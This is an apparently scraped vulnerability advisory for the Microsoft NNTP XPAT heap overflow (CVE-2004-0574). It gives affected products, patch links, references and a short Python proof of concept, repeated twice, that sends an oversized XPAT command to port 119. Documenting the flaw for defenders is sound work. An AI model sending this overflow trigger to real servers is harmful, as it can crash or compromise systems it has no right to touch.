Microsoft NNTP Component Heap Overflow Vulnerability
BID:11379
Info
Microsoft NNTP Component Heap Overflow Vulnerability
| Bugtraq ID: | 11379 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2004-0574 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 12 2004 12:00AM |
| Updated: | Jul 12 2009 07:06AM |
| Credit: | Discovery is credited to Lucas Lavarello and Juliano Rizzo from Core Security Technologies. |
| Vulnerable: |
Microsoft Windows Server 2003 Web Edition Microsoft Windows Server 2003 Standard Edition Microsoft Windows Server 2003 Enterprise Edition Itanium 0 Microsoft Windows Server 2003 Enterprise Edition Microsoft Windows Server 2003 Datacenter Edition Itanium 0 Microsoft Windows Server 2003 Datacenter Edition Microsoft Windows NT Server 4.0 SP6a Microsoft Windows NT Server 4.0 SP6 Microsoft Windows NT Server 4.0 SP5 Microsoft Windows NT Server 4.0 SP4 Microsoft Windows NT Server 4.0 SP3 Microsoft Windows NT Server 4.0 SP2 Microsoft Windows NT Server 4.0 SP1 Microsoft Windows NT Server 4.0 Microsoft Windows NT Enterprise Server 4.0 SP6a Microsoft Windows NT Enterprise Server 4.0 SP6 Microsoft Windows NT Enterprise Server 4.0 SP5 Microsoft Windows NT Enterprise Server 4.0 SP4 Microsoft Windows NT Enterprise Server 4.0 SP3 Microsoft Windows NT Enterprise Server 4.0 SP2 Microsoft Windows NT Enterprise Server 4.0 SP1 Microsoft Windows NT Enterprise Server 4.0 Microsoft Windows 2000 Server SP4 Microsoft Windows 2000 Server SP3 Microsoft Windows 2000 Server SP2 Microsoft Windows 2000 Server SP1 Microsoft Windows 2000 Server Microsoft Windows 2000 Datacenter Server SP4 Microsoft Windows 2000 Datacenter Server SP3 Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Datacenter Server SP1 Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Advanced Server SP4 Microsoft Windows 2000 Advanced Server SP3 Microsoft Windows 2000 Advanced Server SP2 Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows 2000 Advanced Server Microsoft Exchange Server 2003 SP1 Microsoft Exchange Server 2003 Microsoft Exchange Server 2000 SP3 Microsoft Exchange Server 2000 SP2 Microsoft Exchange Server 2000 SP1 Microsoft Exchange Server 2000 Avaya S8100 Media Servers 0 Avaya S3400 Message Application Server 0 Avaya Modular Messaging (MSS) 2.0 Avaya Modular Messaging (MSS) 1.1 Avaya IP600 Media Servers Avaya DefinityOne Media Servers |
| Not Vulnerable: |
Microsoft Exchange Server 5.5 SP4 Microsoft Exchange Server 5.5 SP3 Microsoft Exchange Server 5.5 SP2 Microsoft Exchange Server 5.5 SP1 Microsoft Exchange Server 5.5 Microsoft Exchange Server 5.0 SP2 Microsoft Exchange Server 5.0 SP1 Microsoft Exchange Server 5.0 |
Discussion
Microsoft NNTP Component Heap Overflow Vulnerability
The Microsoft Network News Transfer Protocol (NNTP) Component is prone to a buffer overflow condition. Successful exploitation of this vulnerability could allow remote code execution in the context of the process accessing the vulnerable component.
The Microsoft Network News Transfer Protocol (NNTP) Component is prone to a buffer overflow condition. Successful exploitation of this vulnerability could allow remote code execution in the context of the process accessing the vulnerable component.
Exploit / POC
Microsoft NNTP Component Heap Overflow Vulnerability
Core Security Technologies has developed a private exploit for this vulnerability, however, it is not known to be circulating in the wild.
Core Security Technologies has released a proof-of-concept for this vulnerability:
#--
# IIS NNTP Service XPAT command heap overflow proof of concept
#
# Author:
# Lucas Lavarello (lucas at coresecurity dot com)
# Juliano Rizzo (juliano at coresecurity dot com)
#
# Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.
# All rights reserved.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE
#
# http://www.coresecurity.com
#--
from socket import *
host = "127.0.0.1"
pat = "C"*1946 + " " + "X"*10
newsgroup = "control.newgroup"
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host, 119))
print sock.recv(512)
sock.send("group %s\x0d\x0a" % newsgroup)
print sock.recv(512)
sock.send("xpat From 1-9 %s \x0d\x0a" % pat)
Core Security Technologies has developed a private exploit for this vulnerability, however, it is not known to be circulating in the wild.
Core Security Technologies has released a proof-of-concept for this vulnerability:
#--
# IIS NNTP Service XPAT command heap overflow proof of concept
#
# Author:
# Lucas Lavarello (lucas at coresecurity dot com)
# Juliano Rizzo (juliano at coresecurity dot com)
#
# Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.
# All rights reserved.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE
#
# http://www.coresecurity.com
#--
from socket import *
host = "127.0.0.1"
pat = "C"*1946 + " " + "X"*10
newsgroup = "control.newgroup"
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host, 119))
print sock.recv(512)
sock.send("group %s\x0d\x0a" % newsgroup)
print sock.recv(512)
sock.send("xpat From 1-9 %s \x0d\x0a" % pat)
Solution / Fix
Microsoft NNTP Component Heap Overflow Vulnerability
Solution:
Microsoft has released a bulletin that includes fixes to address this issue for supported versions of the operating system.
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows NT Server 4.0 SP6a
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows Server 2003 Web Edition
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows Server 2003 Enterprise Edition Itanium 0
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Server SP3
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows 2000 Server SP4
Microsoft Windows Server 2003 Datacenter Edition Itanium 0
Solution:
Microsoft has released a bulletin that includes fixes to address this issue for supported versions of the operating system.
Microsoft Windows Server 2003 Datacenter Edition
-
Microsoft Security Update for Windows Server 2003 (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=DCB1CB73-A426 -40D8-BD14-B458C7915815&displaylang=en
Microsoft Windows 2000 Advanced Server SP4
-
Microsoft Security Update for Windows 2000 (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=54A86560-4A0C -4E2F-A137-D8EE905A674A&displaylang=en
Microsoft Windows NT Server 4.0 SP6a
-
Microsoft Security Update for Windows NT4 Option Pack (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=0126B7AC-9C78 -45C5-8AC7-E0E8CA4B6DEE&displaylang=en
Microsoft Windows Server 2003 Enterprise Edition
-
Microsoft Security Update for Windows Server 2003 (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=DCB1CB73-A426 -40D8-BD14-B458C7915815&displaylang=en
Microsoft Windows 2000 Datacenter Server SP4
-
Microsoft Security Update for Windows 2000 (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=54A86560-4A0C -4E2F-A137-D8EE905A674A&displaylang=en
Microsoft Windows Server 2003 Web Edition
-
Microsoft Security Update for Windows Server 2003 (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=DCB1CB73-A426 -40D8-BD14-B458C7915815&displaylang=en
Microsoft Windows 2000 Advanced Server SP3
-
Microsoft Security Update for Windows 2000 (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=54A86560-4A0C -4E2F-A137-D8EE905A674A&displaylang=en
Microsoft Windows Server 2003 Enterprise Edition Itanium 0
-
Microsoft Security Update for Windows Server 2003 64-bit Edition (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=1A8C4D7A-2F85 -4CDD-8CC9-E2E1817403DF&displaylang=en
Microsoft Windows 2000 Datacenter Server SP3
-
Microsoft Security Update for Windows 2000 (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=54A86560-4A0C -4E2F-A137-D8EE905A674A&displaylang=en
Microsoft Windows 2000 Server SP3
-
Microsoft Security Update for Windows 2000 (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=54A86560-4A0C -4E2F-A137-D8EE905A674A&displaylang=en
Microsoft Windows Server 2003 Standard Edition
-
Microsoft Security Update for Windows Server 2003 (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=DCB1CB73-A426 -40D8-BD14-B458C7915815&displaylang=en
Microsoft Windows NT Enterprise Server 4.0 SP6a
-
Microsoft Security Update for Windows NT4 Option Pack (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=0126B7AC-9C78 -45C5-8AC7-E0E8CA4B6DEE&displaylang=en
Microsoft Windows 2000 Server SP4
-
Microsoft Security Update for Windows 2000 (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=54A86560-4A0C -4E2F-A137-D8EE905A674A&displaylang=en
Microsoft Windows Server 2003 Datacenter Edition Itanium 0
-
Microsoft Security Update for Windows Server 2003 64-bit Edition (KB883935)
http://www.microsoft.com/downloads/details.aspx?familyid=1A8C4D7A-2F85 -4CDD-8CC9-E2E1817403DF&displaylang=en
References
Microsoft NNTP Component Heap Overflow Vulnerability
References:
References:
- IIS NNTP Service XPAT Command Vulnerabilities (Core Security Technologies)
- IIS NNTP XPAT DoS (CORE Security)
- Microsoft Security Bulletin MS04-036 (Microsoft)
- Re: [VulnWatch] CORE-2004-0802: IIS NNTP Service XPAT Command Vulnerabilities (wirepair
)